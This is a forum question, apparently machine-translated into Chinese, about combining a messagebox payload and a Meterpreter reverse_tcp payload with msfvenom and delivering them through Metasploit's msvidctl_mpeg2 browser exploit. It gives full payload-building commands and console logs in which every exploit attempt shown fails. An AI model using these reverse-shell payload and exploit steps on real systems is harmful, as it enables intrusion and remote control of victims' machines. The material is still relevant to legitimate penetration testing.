我一直在玩新的 MSF4(框架:4.1.0-release.13988,控制台:4.1.0-release.13581)使用 msfvenom 和自定义/通用有效负载的多有效负载支持,但似乎有有关有效负载在编码和兼容性方面支持的信息。
基本上,我正在研究如何关闭服务器端服务,然后让meterpreter 监听它不再绑定的端口。(漏洞利用会进入另一个端口)
本质上,我使用 msfvenom 创建了一个 multipayload,msgbox 和 Meterpreter 背靠背,作为 exe、raw 和 .rb。我试过单独留下编码设置,并将其设置为无。(请注意,自定义/通用有效负载 .rb 源说明只允许无编码)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw
我还尝试将 EXITFUNC 设置为“无”:
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw
然后我需要将原始多有效负载写入通用/自定义有效负载可以使用的东西:(注意我尝试写入原始、exe、.rb 格式)
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw
最后是时候尝试使用通用/自定义的多有效负载了:(请注意,在尝试设置和利用之前,我每次都重新加载了漏洞利用)
msf > use exploit/windows/browser/msvidctl_mpeg2
msf exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
msf exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf exploit(msvidctl_mpeg2) > exploit
[-] Exploit failed: No encoders encoded the buffer successfully.
所以我找到了一个解释“没有编码器编码......”错误应该是什么意思。(http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions) 我想这就是 stager 有效载荷的来源。
错误的原因是 windows/msgbox 有效负载,因为它没有上演?或者是多重有效载荷没有上演?如果是后者,那么我看不到多重有效载荷将如何工作,除非它们被分阶段。组合 2 个有效载荷可能比单个有效载荷大。
有人可以至少解释一下应该与通用/有效负载兼容的编码和格式,以便我可以排除吗?我只找到了几个对多负载支持的参考。
提前致谢!我保证一旦我这样做了,我会回答我是如何做到这一点的。